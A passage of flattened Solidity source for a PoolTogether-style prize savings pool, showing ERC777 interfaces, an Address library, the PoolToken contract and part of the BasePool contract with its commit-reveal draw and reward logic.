* accounts are their own operator.
*
* See {operatorSend} and {operatorBurn}.
*/
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
/**
* @dev Make an account an operator of the caller.
*
* See {isOperatorFor}.
*
* Emits an {AuthorizedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function authorizeOperator(address operator) external;
/**
* @dev Make an account an operator of the caller.
*
* See {isOperatorFor} and {defaultOperators}.
*
* Emits a {RevokedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function revokeOperator(address operator) external;
/**
* @dev Returns the list of default operators. These accounts are operators
* for all token holders, even if {authorizeOperator} was never called on
* them.
*
* This list is immutable, but individual holders may revoke these via
* {revokeOperator}, in which case {isOperatorFor} will return false.
*/
function defaultOperators() external view returns (address[] memory);
/**
* @dev Moves `amount` tokens from `sender` to `recipient`. The caller must
* be an operator of `sender`.
*
* If send or receive hooks are registered for `sender` and `recipient`,
* the corresponding functions will be called with `data` and
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - `sender` cannot be the zero address.
* - `sender` must have at least `amount` tokens.
* - the caller must be an operator for `sender`.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
/**
* @dev Destoys `amount` tokens from `account`, reducing the total supply.
* The caller must be an operator of `account`.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `data` and `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
* - the caller must be an operator for `account`.
*/
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
/**
* @dev Interface of the ERC777TokensSender standard as defined in the EIP.
*
* {IERC777} Token holders can be notified of operations performed on their
* tokens by having a contract implement this interface (contract holders can be
* their own implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777Sender {
/**
* @dev Called by an {IERC777} token contract whenever a registered holder's
* (`from`) tokens are about to be moved or destroyed. The type of operation
* is conveyed by `to` being the zero address or not.
*
* This call occurs _before_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the pre-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @dev Implementation of the {IERC777} interface.
*
* Largely taken from the OpenZeppelin ERC777 contract.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*
* It is important to note that no Mint events are emitted. Tokens are minted in batches
* by a state change in a tree data structure, so emitting a Mint event for each user
* is not possible.
*
*/
contract PoolToken is Initializable, IERC20, IERC777 {
using SafeMath for uint256;
using Address for address;
/**
* Event emitted when a user or operator redeems tokens
*/
event Redeemed(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
IERC1820Registry constant internal ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant internal TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant internal TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// keccak256("ERC777Token")
bytes32 constant internal TOKENS_INTERFACE_HASH =
0xac7fbab5f54a3ca8194167523c6753bfeb96a445279294b6125b68cce2177054;
// keccak256("ERC20Token")
bytes32 constant internal ERC20_TOKENS_INTERFACE_HASH =
0xaea199e31a596269b42cdafd93407f14436db6e4cad65417994c2eb37381e05a;
string internal _name;
string internal _symbol;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] internal _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) internal _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) internal _operators;
mapping(address => mapping(address => bool)) internal _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) internal _allowances;
// The Pool that is bound to this token
BasePool internal _pool;
/**
* @notice Initializes the PoolToken.
* @param name The name of the token
* @param symbol The token symbol
* @param defaultOperators The default operators who are allowed to move tokens
*/
function init (
string memory name,
string memory symbol,
address[] memory defaultOperators,
BasePool pool
) public initializer {
require(bytes(name).length != 0, "PoolToken/name");
require(bytes(symbol).length != 0, "PoolToken/symbol");
require(address(pool) != address(0), "PoolToken/pool-zero");
_name = name;
_symbol = symbol;
_pool = pool;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
ERC1820_REGISTRY.setInterfaceImplementer(address(this), TOKENS_INTERFACE_HASH, address(this));
ERC1820_REGISTRY.setInterfaceImplementer(address(this), ERC20_TOKENS_INTERFACE_HASH, address(this));
}
/**
* @notice Returns the address of the Pool contract
* @return The address of the pool contract
*/
function pool() public view returns (BasePool) {
return _pool;
}
/**
* @notice Calls the ERC777 transfer hook, and emits Redeemed and Transfer. Can only be called by the Pool contract.
* @param from The address from which to redeem tokens
* @param amount The amount of tokens to redeem
*/
function poolRedeem(address from, uint256 amount) external onlyPool {
_callTokensToSend(from, from, address(0), amount, '', '');
emit Redeemed(from, from, amount, '', '');
emit Transfer(from, address(0), amount);
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public view returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _pool.committedSupply();
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address _addr) external view returns (uint256) {
return _pool.committedBalanceOf(_addr);
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(msg.sender, msg.sender, recipient, amount, data, "");
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "PoolToken/transfer-zero");
address from = msg.sender;
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev Allows a user to withdraw their tokens as the underlying asset.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function redeem(uint256 amount, bytes calldata data) external {
_redeem(msg.sender, msg.sender, amount, data, "");
}
/**
* @dev See {IERC777-burn}. Not currently implemented.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256, bytes calldata) external {
revert("PoolToken/no-support");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
require(msg.sender != operator, "PoolToken/auth-self");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[msg.sender][operator];
} else {
_operators[msg.sender][operator] = true;
}
emit AuthorizedOperator(operator, msg.sender);
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
require(operator != msg.sender, "PoolToken/revoke-self");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[msg.sender][operator] = true;
} else {
delete _operators[msg.sender][operator];
}
emit RevokedOperator(operator, msg.sender);
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(msg.sender, sender), "PoolToken/not-operator");
_send(msg.sender, sender, recipient, amount, data, operatorData);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Currently not supported
*/
function operatorBurn(address, uint256, bytes calldata, bytes calldata) external {
revert("PoolToken/no-support");
}
/**
* @dev Allows an operator to redeem tokens for the underlying asset on behalf of a user.
*
* Emits {Redeemed} and {Transfer} events.
*/
function operatorRedeem(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(msg.sender, account), "PoolToken/not-operator");
_redeem(msg.sender, account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = msg.sender;
_approve(holder, spender, value);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "PoolToken/negative"));
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "PoolToken/to-zero");
require(holder != address(0), "PoolToken/from-zero");
address spender = msg.sender;
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "PoolToken/exceed-allow"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* Called by the associated Pool to emit `Mint` events.
* @param amount The amount that was minted
*/
function poolMint(uint256 amount) external onlyPool {
_mintEvents(address(_pool), address(_pool), amount, '', '');
}
/**
* Emits {Minted} and {IERC20-Transfer} events.
*/
function _mintEvents(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
require(from != address(0), "PoolToken/from-zero");
require(to != address(0), "PoolToken/to-zero");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, false);
}
/**
* @dev Redeems tokens for the underlying asset.
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to redeem
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _redeem(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
private
{
require(from != address(0), "PoolToken/from-zero");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
_pool.withdrawCommittedDepositFrom(from, amount);
emit Redeemed(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
/**
* @notice Moves tokens from one user to another. Emits Sent and Transfer events.
*/
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
_pool.moveCommitted(from, to, amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
/**
* Approves of a token spend by a spender for a holder.
* @param holder The address from which the tokens are spent
* @param spender The address that is spending the tokens
* @param value The amount of tokens to spend
*/
function _approve(address holder, address spender, uint256 value) private {
require(spender != address(0), "PoolToken/from-zero");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal notLocked
{
address implementer = ERC1820_REGISTRY.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck whether to require that, if the recipient is a contract, it has registered a IERC777Recipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = ERC1820_REGISTRY.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "PoolToken/no-recip-inter");
}
}
/**
* @notice Requires the sender to be the pool contract
*/
modifier onlyPool() {
require(msg.sender == address(_pool), "PoolToken/only-pool");
_;
}
/**
* @notice Requires the contract to be unlocked
*/
modifier notLocked() {
require(!_pool.isLocked(), "PoolToken/is-locked");
_;
}
}
/**
* @title The Pool contract
* @author Brendan Asselstine
* @notice This contract allows users to pool deposits into Compound and win the accrued interest in periodic draws.
* Funds are immediately deposited and withdrawn from the Compound cToken contract.
* Draws go through three stages: open, committed and rewarded in that order.
* Only one draw is ever in the open stage. Users deposits are always added to the open draw. Funds in the open Draw are that user's open balance.
* When a Draw is committed, the funds in it are moved to a user's committed total and the total committed balance of all users is updated.
* When a Draw is rewarded, the gross winnings are the accrued interest since the last reward (if any). A winner is selected with their chances being
* proportional to their committed balance vs the total committed balance of all users.
*
*
* With the above in mind, there is always an open draw and possibly a committed draw. The progression is:
*
* Step 1: Draw 1 Open
* Step 2: Draw 2 Open | Draw 1 Committed
* Step 3: Draw 3 Open | Draw 2 Committed | Draw 1 Rewarded
* Step 4: Draw 4 Open | Draw 3 Committed | Draw 2 Rewarded
* Step 5: Draw 5 Open | Draw 4 Committed | Draw 3 Rewarded
* Step X: ...
*/
contract BasePool is Initializable, ReentrancyGuard {
using DrawManager for DrawManager.State;
using SafeMath for uint256;
using Roles for Roles.Role;
using Blocklock for Blocklock.State;
bytes32 internal constant ROLLED_OVER_ENTROPY_MAGIC_NUMBER = bytes32(uint256(1));
IERC1820Registry constant internal ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("PoolTogetherRewardListener")
bytes32 constant internal REWARD_LISTENER_INTERFACE_HASH =
0x68f03b0b1a978ee238a70b362091d993343460bc1a2830ab3f708936d9f564a4;
/**
* Emitted when a user deposits into the Pool.
* @param sender The purchaser of the tickets
* @param amount The size of the deposit
*/
event Deposited(address indexed sender, uint256 amount);
/**
* Emitted when a user deposits into the Pool and the deposit is immediately committed
* @param sender The purchaser of the tickets
* @param amount The size of the deposit
*/
event DepositedAndCommitted(address indexed sender, uint256 amount);
/**
* Emitted when Sponsors have deposited into the Pool
* @param sender The purchaser of the tickets
* @param amount The size of the deposit
*/
event SponsorshipDeposited(address indexed sender, uint256 amount);
/**
* Emitted when an admin has been added to the Pool.
* @param admin The admin that was added
*/
event AdminAdded(address indexed admin);
/**
* Emitted when an admin has been removed from the Pool.
* @param admin The admin that was removed
*/
event AdminRemoved(address indexed admin);
/**
* Emitted when a user withdraws from the pool.
* @param sender The user that is withdrawing from the pool
* @param amount The amount that the user withdrew
*/
event Withdrawn(address indexed sender, uint256 amount);
/**
* Emitted when a user withdraws their sponsorship and fees from the pool.
* @param sender The user that is withdrawing
* @param amount The amount they are withdrawing
*/
event SponsorshipAndFeesWithdrawn(address indexed sender, uint256 amount);
/**
* Emitted when a user withdraws from their open deposit.
* @param sender The user that is withdrawing
* @param amount The amount they are withdrawing
*/
event OpenDepositWithdrawn(address indexed sender, uint256 amount);
/**
* Emitted when a user withdraws from their committed deposit.
* @param sender The user that is withdrawing
* @param amount The amount they are withdrawing
*/
event CommittedDepositWithdrawn(address indexed sender, uint256 amount);
/**
* Emitted when an address collects a fee
* @param sender The address collecting the fee
* @param amount The fee amount
* @param drawId The draw from which the fee was awarded
*/
event FeeCollected(address indexed sender, uint256 amount, uint256 drawId);
/**
* Emitted when a new draw is opened for deposit.
* @param drawId The draw id
* @param feeBeneficiary The fee beneficiary for this draw
* @param secretHash The committed secret hash
* @param feeFraction The fee fraction of the winnings to be given to the beneficiary
*/
event Opened(
uint256 indexed drawId,
address indexed feeBeneficiary,
bytes32 secretHash,
uint256 feeFraction
);
/**
* Emitted when a draw is committed.
* @param drawId The draw id
*/
event Committed(
uint256 indexed drawId
);
/**
* Emitted when a draw is rewarded.
* @param drawId The draw id
* @param winner The address of the winner
* @param entropy The entropy used to select the winner
* @param winnings The net winnings given to the winner
* @param fee The fee being given to the draw beneficiary
*/
event Rewarded(
uint256 indexed drawId,
address indexed winner,
bytes32 entropy,
uint256 winnings,
uint256 fee
);
/**
* Emitted when a RewardListener call fails
* @param drawId The draw id
* @param winner The address that one the draw
* @param impl The implementation address of the RewardListener
*/
event RewardListenerFailed(
uint256 indexed drawId,
address indexed winner,
address indexed impl
);
/**
* Emitted when the fee fraction is changed. Takes effect on the next draw.
* @param feeFraction The next fee fraction encoded as a fixed point 18 decimal
*/
event NextFeeFractionChanged(uint256 feeFraction);
/**
* Emitted when the next fee beneficiary changes. Takes effect on the next draw.
* @param feeBeneficiary The next fee beneficiary
*/
event NextFeeBeneficiaryChanged(address indexed feeBeneficiary);
/**
* Emitted when an admin pauses the contract
*/
event DepositsPaused(address indexed sender);
/**
* Emitted when an admin unpauses the contract
*/
event DepositsUnpaused(address indexed sender);
/**
* Emitted when the draw is rolled over in the event that the secret is forgotten.
*/
event RolledOver(uint256 indexed drawId);
struct Draw {
uint256 feeFraction; //fixed point 18
address feeBeneficiary;
uint256 openedBlock;
bytes32 secretHash;
bytes32 entropy;
address winner;
uint256 netWinnings;
uint256 fee;
}
/**
* The Compound cToken that this Pool is bound to.
*/
ICErc20 public cToken;
/**
* The fee beneficiary to use for subsequent Draws.
*/
address public nextFeeBeneficiary;
/**
* The fee fraction to use for subsequent Draws.
*/
uint256 public nextFeeFraction;
/**
* The total of all balances
*/
uint256 public accountedBalance;
/**
* The total deposits and winnings for each user.
*/
mapping (address => uint256) internal balances;
/**
* A mapping of draw ids to Draw structures
*/
mapping(uint256 => Draw) internal draws;
/**
* A structure that is used to manage the user's odds of winning.
*/
DrawManager.State internal drawState;
/**
* A structure containing the administrators
*/
Roles.Role internal admins;
/**
* Whether the contract is paused
*/
bool public paused;
Blocklock.State internal blocklock;
PoolToken public poolToken;
/**
* @notice Initializes a new Pool contract.
* @param _owner The owner of the Pool. They are able to change settings and are set as the owner of new lotteries.
* @param _cToken The Compound Finance MoneyMarket contract to supply and withdraw tokens.
* @param _feeFraction The fraction of the gross winnings that should be transferred to the owner as the fee. Is a fixed point 18 number.
* @param _feeBeneficiary The address that will receive the fee fraction
*/
function init (
address _owner,
address _cToken,
uint256 _feeFraction,
address _feeBeneficiary,
uint256 _lockDuration,
uint256 _cooldownDuration
) public initializer {
require(_owner != address(0), "Pool/owner-zero");
require(_cToken != address(0), "Pool/ctoken-zero");
cToken = ICErc20(_cToken);
_addAdmin(_owner);
_setNextFeeFraction(_feeFraction);
_setNextFeeBeneficiary(_feeBeneficiary);
initBlocklock(_lockDuration, _cooldownDuration);
}
function setPoolToken(PoolToken _poolToken) external onlyAdmin {
require(address(poolToken) == address(0), "Pool/token-was-set");
require(address(_poolToken.pool()) == address(this), "Pool/token-mismatch");
poolToken = _poolToken;
}
function initBlocklock(uint256 _lockDuration, uint256 _cooldownDuration) internal {
blocklock.setLockDuration(_lockDuration);
blocklock.setCooldownDuration(_cooldownDuration);
}
/**
* @notice Opens a new Draw.
* @param _secretHash The secret hash to commit to the Draw.
*/
function open(bytes32 _secretHash) internal {
drawState.openNextDraw();
draws[drawState.openDrawIndex] = Draw(
nextFeeFraction,
nextFeeBeneficiary,
block.number,
_secretHash,
bytes32(0),
address(0),
uint256(0),
uint256(0)
);
emit Opened(
drawState.openDrawIndex,
nextFeeBeneficiary,
_secretHash,
nextFeeFraction
);
}
/**
* @notice Emits the Committed event for the current open draw.
*/
function emitCommitted() internal {
uint256 drawId = currentOpenDrawId();
emit Committed(drawId);
if (address(poolToken) != address(0)) {
poolToken.poolMint(openSupply());
}
}
/**
* @notice Commits the current open draw, if any, and opens the next draw using the passed hash. Really this function is only called twice:
* the first after Pool contract creation and the second immediately after.
* Can only be called by an admin.
* May fire the Committed event, and always fires the Open event.
* @param nextSecretHash The secret hash to use to open a new Draw
*/
function openNextDraw(bytes32 nextSecretHash) public onlyAdmin {
if (currentCommittedDrawId() > 0) {
require(currentCommittedDrawHasBeenRewarded(), "Pool/not-reward");
}
if (currentOpenDrawId() != 0) {
emitCommitted();
}
open(nextSecretHash);
}
/**
* @notice Ignores the current draw, and opens the next draw.
* @dev This function will be removed once the winner selection has been decentralized.
* @param nextSecretHash The hash to commit for the next draw
*/
function rolloverAndOpenNextDraw(bytes32 nextSecretHash) public onlyAdmin {
rollover();
openNextDraw(nextSecretHash);
}
/**
* @notice Rewards the current committed draw using the passed secret, commits the current open draw, and opens the next draw using the passed secret hash.
* Can only be called by an admin.
* Fires the Rewarded event, the Committed event, and the Open event.
* @param nextSecretHash The secret hash to use to open a new Draw
* @param lastSecret The secret to reveal to reward the current committed Draw.
* @param _salt The salt that was used to conceal the secret
*/
function rewardAndOpenNextDraw(bytes32 nextSecretHash, bytes32 lastSecret, bytes32 _salt) public onlyAdmin {
reward(lastSecret, _salt);
openNextDraw(nextSecretHash);
}
/**
* @notice Rewards the winner for the current committed Draw using the passed secret.
* The gross winnings are calculated by subtracting the accounted balance from the current underlying cToken balance.
* A winner is calculated using the revealed secret.
* If there is a winner (i.e. any eligible users) then winner's balance is updated with their net winnings.
* The draw beneficiary's balance is updated with the fee.
* The accounted balance is updated to include the fee and, if there was a winner, the net winnings.
* Fires the Rewarded event.
* @param _secret The secret to reveal for the current committed Draw
* @param _salt The salt that was used to conceal the secret
*/
function reward(bytes32 _secret, bytes32 _salt) public onlyAdmin onlyLocked requireCommittedNoReward nonReentrant {
// require that there is a committed draw
// require that the committed draw has not been rewarded
uint256 drawId = currentCommittedDrawId();
Draw storage draw = draws[drawId];
require(draw.secretHash == keccak256(abi.encodePacked(_secret, _salt)), "Pool/bad-secret");
// derive entropy from the revealed secret
bytes32 entropy = keccak256(abi.encodePacked(_secret));
_reward(drawId, draw, entropy);
}
function _reward(uint256 drawId, Draw storage draw, bytes32 entropy) internal {
blocklock.unlock(block.number);
// Select the winner using the hash as entropy
address winningAddress = calculateWinner(entropy);
// Calculate the gross winnings
uint256 underlyingBalance = balance();
uint256 grossWinnings;
// It's possible when the APR is zero that the underlying balance will be slightly lower than the accountedBalance
// due to rounding errors in the Compound contract.
if (underlyingBalance > accountedBalance) {
grossWinnings = capWinnings(underlyingBalance.sub(accountedBalance));
}
// Calculate the beneficiary fee
uint256 fee = calculateFee(draw.feeFraction, grossWinnings);
// Update balance of the beneficiary
balances[draw.feeBeneficiary] = balances[draw.feeBeneficiary].add(fee);
// Calculate the net winnings
uint256 netWinnings = grossWinnings.sub(fee);
draw.winner = winningAddress;
draw.netWinnings = netWinnings;
draw.fee = fee;
draw.entropy = entropy;
// If there is a winner who is to receive non-zero winnings
if (winningAddress != address(0) && netWinnings != 0) {
// Updated the accounted total
accountedBalance = underlyingBalance;
// Update balance of the winner
balances[winningAddress] = balances[winningAddress].add(netWinnings);
// Enter their winnings into the open draw
drawState.deposit(winningAddress, netWinnings);
callRewarded(winningAddress, netWinnings, drawId);
} else {
// Only account for the fee
accountedBalance = accountedBalance.add(fee);
}
emit Rewarded(
drawId,
winningAddress,
entropy,
netWinnings,
fee
);
emit FeeCollected(draw.feeBeneficiary, fee, drawId);
}
/**
* @notice Calls the reward listener for the winner, if a listener exists.
* @dev Checks for a listener using the ERC1820 registry. The listener is given a gas stipend of 200,000 to run the function.
* The number 200,000 was selected because it's safely above the gas requirements for PoolTogether [Pod](https://github.com/pooltogether/pods) contract.
*
* @param winner The winner. If they have a listener registered in the ERC1820 registry it will be called.
* @param netWinnings The amount that was won.
* @param drawId The draw id that was won.
*/
function callRewarded(address winner, uint256 netWinnings, uint256 drawId) internal {
address impl = ERC1820_REGISTRY.getInterfaceImplementer(winner, REWARD_LISTENER_INTERFACE_HASH);
if (impl != address(0)) {
(bool success,) = impl.call.gas(200000)(abi.encodeWithSignature("rewarded(address,uint256,uint256)", winner, netWinnings, drawId));
if (!success) {
emit RewardListenerFailed(drawId, winner, impl);
}
}
}
/**
* @notice A function that skips the reward for the committed draw id.
